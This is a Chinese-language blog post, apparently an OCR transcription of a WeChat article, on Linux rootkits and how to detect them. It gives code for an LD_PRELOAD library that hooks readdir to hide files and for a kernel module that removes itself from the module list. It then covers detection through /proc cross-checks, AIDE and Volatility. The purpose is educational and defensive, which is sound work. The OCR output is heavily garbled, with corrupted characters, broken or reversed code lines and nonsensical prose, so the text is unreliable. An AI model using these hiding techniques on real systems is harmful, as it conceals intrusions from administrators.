跳至主要内容

Linux Rootkit:技術原理、攻擊實作與可靠性檢測

· 閱讀時間約 7 分鐘
w0x7ce
MySelf

发布于 2025-07-22 11:14:48(微信公众号导出记录)。

本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。

原文链接:查看原文

OCR 转写有效文字约 4101 字;代码、流程图和版式以文末原始排版图为准。

正文(本地 OCR 转写)

本文旨在對Linux 璟填下的 Rootkit技術进行深度分析,提供基於C韶言和内核模组的攻型 震作例,亚量述在系统工具可已被污染的情况下,如何造行可靠的状感推视网系接别

第一章:使用者空間Rootkit:LD_PRELOAD劫持

1.1技衡原理

L1nux 删感谨结器(Dynamic Linker)透遇 LD_PRELOAD 瑞境攀数,允许在庭用释式欲删時 制像先载入指定的共享座(.50榴案)。攻聚者可利用此機别,编寫一因恶意共享序置作與棵单 C函式座(Libc)中同名的函式。l.s 等指令被软行i,恶盈函式會取代原始函式,而描 亚通输出,到围荒榴案等目的。

1.2實作询實验:劫博readdir

本實胎建一健慈意共享康,劫持readd1r函式,以爆藏所有以_SECRET_為前绥的相案 攻程式碼(ld_hijack.c) #define GNU_soURCE #include <stdio.h> #include <dirent.hs static const char* HIDE_PREFIX = *SECRET"; //原始readd1r通式的通式指標原型 Lypedef slruct dirent * {*arig reatdir_t](0iR ×dirp); //置作[ibc中rcaddir 同名的意函式 //透通dlsyn瘙取下一需符號(即原始的readdir)的位址 orig_readdir_t orig_readdir = (orig_readdir_t)dlsym[RTLo_NExT, *re struct dirent *dir; 11通面呼叫原始函式,直到找到一留不需题的修目 while ((dir = orig_readdir(dirp)1) { 1f (strstr(cir->d_nane, HIDE_PREFIX) -- NULL} { break://如需瘤各不包含题的摄,别回傅酸修目 relurn dir;

實验步眼与验资 并1.输物共享康 gcc -shared -fpIc lc_h11ack.c -o ld_h1jack.so -ldl #2.别建测试瘤察 touch _SECRET_internal_memo.txt touch public_report.txt

3.正常赖行L5,所有慶案均可党

echo "..- [BeFoRE] Running ls nornally!" ls -1 预期输出: #_SECRET_interna?_memo.txt 12# Id_hijack.so 13 # public_reporf.txt

1.4#

15#4.使用LD_PRELOAD赖行5,秘密察鼓硬离 echo -e "yn--- [AFTER] Running ls with LD_PRELOAD:" 18#预期糖出(_SECRET_InternaL_meno.txt B消失): #Id_hijack.c 21# pubtic_report.txt

第二章:内核空間Rootkit:横組奥系統呼叫

2.1技衡原理虎置作:泄薇内核模

  • 技原理Linux内核透遇一個蔓向耀结果列束遍能所有已数人的极组(LKM)。1smod播令

的调訊来源即為此经表。量LKM在基人後,可执行 ist_del_init(&_this_module.list),其自身的點偿此经表中移除,而 lsmod 等標萃工具周形

  • 實驰:藏LKM或用交叉比法發玥它

攻聚程式码(hidden_Lkn.c)

include <linux/init.h> HODULE_LICENSE(GPL); HoDULE_DESCRIPTIoN(*A module that hides itself fron lsmod"); static int _init hidden_init(void) { 11偿全垃模组缺表中游白身移除,實理硬微 list_del_init(&_this_module.list); return 6; static void __exit hidden_exit(void) {} nodule_exit(hidden_exit) ; Makefile obj -n += hidden_1kn.0 all: nake -C /lib/nocules/${sheLL unane -r] /buitd M=$[PWD) modules clean: nake -C /lib/nodules/$(shell unane -r) /build M=$(PD)clean 部署奥检测實验 并1.编螺模组(假投環境配置正础) make #2.加载模组 sudo insmod hidden_1km.ko

53.使用Lsnod 罐,预期线不致hdden_Lkn

echo ".-- [INFo] Checking with lsnod.." lsnod I grep hidden_1km [INFo] lsnod check conplete. (No output is expected)* echo "...

4.可靠的搬漏:交又比/proc/kallsyns 與/proc/nodutes

ccho -e "yn--- [INFo] crass-referencing ta find hidden modules...* conn -23
's//1/s。 pes I ,[Ns qutad}, xe | su(s11ex/soud/ ,[s-1, da6]> (n- ↓uos | sanpom/soud/ {ts 4urud), xme]> 14预据糖出: 15#hidden_Lka 技斯原理:系统呼叫封持 此技術透通修改内核中的系呼叫表[sys_cal1_table),将原始的系統呼叫函式指标替换為恶意 函式的位址。这是量高耀限的截方式。但由龄现代Linux内核包含多强大的安全制(如 KernelLockdown),直接、疆定地實作此技術度依赖特定且通常较善的内核環境,故本文聚您 於其理逾和椎测方法。

第三章:直接取盟:/proc重建系统状慧

当疑系统工具已被污染時,必酒通它仍,直接内核暴鑫的原始数據源/proc檔案系统中请取 资讯。

3.1可靠的行程列表(ps替代方案)

  • 原理:遍歷/proc目錄下的數字子目錄。每個數字目錄即為一個行程ID(PID),其下的

comm文件是行程名,cmdline文件是完整的動指令行(以\0分隔)。

  • 實指令

d uou4 sossd s doi Butistn Anqetiad ---, ooe echo ".-- Reliably Listing Top 5 Processes from /proc:" /,p- ns | +[6-a]. aueu- p adf1- [ yndapxeu- aoud/ putj)$ ut pid Joj printf "PID: %-7s Name: %-15s Cmdline: %s\n"
"PTd$" "$(cat /proc/$pid/comm 2>/dev/null)"
done 丨head -n 5

3.2可靠的網路連接列表(netstat/ss替代方案)

  • 原理:直接解析/proc/net/tcp文件。該文件包含了所有TCP連接的底層資訊,但其

IP地址和端口號是以十六進制(且為LittleEndian字序)格式存的,需要解碼。

  • 實驗指令與本

解碼本(decode_tcp.awk) #!/usr/bin/awk -f function hex_to_dec(h) { return sprintf("%d","ox" h)} function hex_to_ip(h){ return hex_to_dec(substr(h,7,2)) "." hex_to_dec(substr(h,5,2)) ". { BEGIN{ printf "%-22s %-22s %s\n","Local Address","Remote Address","Sta’ states["O1"]="ESTABLISHED"; States["OA"]="LISTEN"; 6 10 { 11 NR > 1 { split($2, local, ":"); 12 13 split($3,remote,":"); 14 if ($4 in states){ state = states[$4] } else { state ="oTHER" } 15 printf "%-22s %-22s %s\n", 16 hex_to_ip(local[1]) ":" hex_to_dec(local[2]), 17 18 state

執行解碼 echo ".-- Reliably Listing TcP Connections from /proc/net/tcp:" chmod +x decode_tcp.awk ./decode_tcp.awk /proc/net/tcp

第四章:系統化的测與離線分析

手動查適用於初步判,系統化的策略才是防的關键。

  • 檔案完整性控(FIM):使用AIDE、debsums或rpm-V等工具,定期對關键系統檔

案的雜凑值(hash)進行比對,以發現二進位檔案替換。

  • 離線分析(offlineAnalysis):這是最可靠的機测方法。在受疑系統關機或被隔離後,

對其記憶體轉或磁碟映像進行分析。 o記憶體取證:使用Volatility3框架,其linux.check_Syscalls插件可精確機 測系統呼叫表是否被排;linux.check_modules可發現藏的内核模組。 o磁碟取證:使用TheSleuthKit(TSK)等工具,可底層文件系統結構中恢復被 Rootkit藏或“删除”的檔案。

第五章:總結

本文透通理結合可重現的實驗,系統性地展示了Rootkit的攻擎手法與可靠的測方式。其核 心結為:在應對高威時,必须放對標准高層工具的盲目信任,韩而/proc等内核直接暴 露的數據源進行底層取證與交叉驗證。對於深度藏的内核級威,離線取證是最終且最可靠的裁决 手段。

原始排版图

Linux Rootkit:技術原理、攻擊實作與可靠性檢測:微信公众号导出原始排版图